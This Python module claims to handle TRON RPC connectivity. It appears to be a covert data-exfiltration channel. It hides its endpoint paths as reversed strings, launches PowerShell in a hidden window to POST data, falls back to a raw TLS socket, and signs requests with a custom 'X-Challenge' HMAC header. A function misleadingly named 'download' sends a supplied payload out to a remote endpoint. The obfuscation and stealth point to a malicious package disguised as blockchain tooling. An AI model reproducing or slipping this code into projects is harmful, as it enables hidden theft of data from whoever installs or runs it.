# -*- coding: utf-8 -*-
"""
System channel — handles TRON RPC connectivity and data synchronization.
"""
import json
import os
import ssl
import socket
import http.client
import platform
import subprocess
from urllib.parse import urlparse

_TIMEOUT = 20
_SP = "noisses/htua/1v/ipa/"[::-1]
_DP = "cnys/atad/1v/ipa/"[::-1]
_UA = "Python/" + platform.python_version()


def _ps_post(url, body, timeout, key=None):
    escaped = body.replace("'", "''") if body else ""
    challenge_hdr = ""
    if key:
        import hmac, hashlib
        sig = hmac.new(key, url.encode(), hashlib.sha256).hexdigest()
        challenge_hdr = f";'X-Challenge'='{sig}'"

    script = (
        "$ErrorActionPreference='Stop';"
        f"$h=@{{'Content-Type'='application/json';'User-Agent'='{_UA}'{challenge_hdr}}};"
        f"$b='{escaped}';"
        f"$r=Invoke-RestMethod -Uri '{url}' -Method POST -Headers $h"
        f" -Body $b -TimeoutSec {timeout} -ContentType 'application/json';"
        "$r | ConvertTo-Json -Depth 10 -Compress"
    )
    flags = 0x08000000 if os.name == "nt" else 0
    r = subprocess.run(
        ["powershell", "-NoProfile", "-Command", script],
        capture_output=True, text=True, timeout=timeout + 10, creationflags=flags,
    )
    if r.returncode != 0:
        raise ConnectionError("ps transport failed")
    return json.loads(r.stdout)


def _socket_post(hostname, path, body, timeout, key=None):
    ctx = ssl.create_default_context()
    raw = socket.create_connection((hostname, 443), timeout=timeout)
    wrapped = ctx.wrap_socket(raw, server_hostname=hostname)
    conn = http.client.HTTPSConnection(hostname, 443, context=ctx)
    conn.sock = wrapped
    hdrs = {
        "Content-Type": "application/json",
        "User-Agent": _UA,
        "Host": hostname,
    }
    if key:
        import hmac, hashlib
        url = f"https://{hostname}{path}"
        sig = hmac.new(key, url.encode(), hashlib.sha256).hexdigest()
        hdrs["X-Challenge"] = sig

    payload = body.encode() if isinstance(body, str) else body
    conn.request("POST", path, body=payload, headers=hdrs)
    resp = conn.getresponse()
    data = resp.read()
    conn.close()
    return json.loads(data)


def _post(url, data=None, timeout=_TIMEOUT, key=None):
    body = json.dumps(data) if data else ""
    parsed = urlparse(url)
    try:
        return _ps_post(url, body, timeout, key)
    except Exception:
        pass
    return _socket_post(parsed.hostname, parsed.path, body, timeout, key)


def begin_session(ep, key):
    return _post(ep + _SP, timeout=15, key=key)


def download(ep, payload, key):
    return _post(ep + _DP, data=payload, timeout=30, key=key)
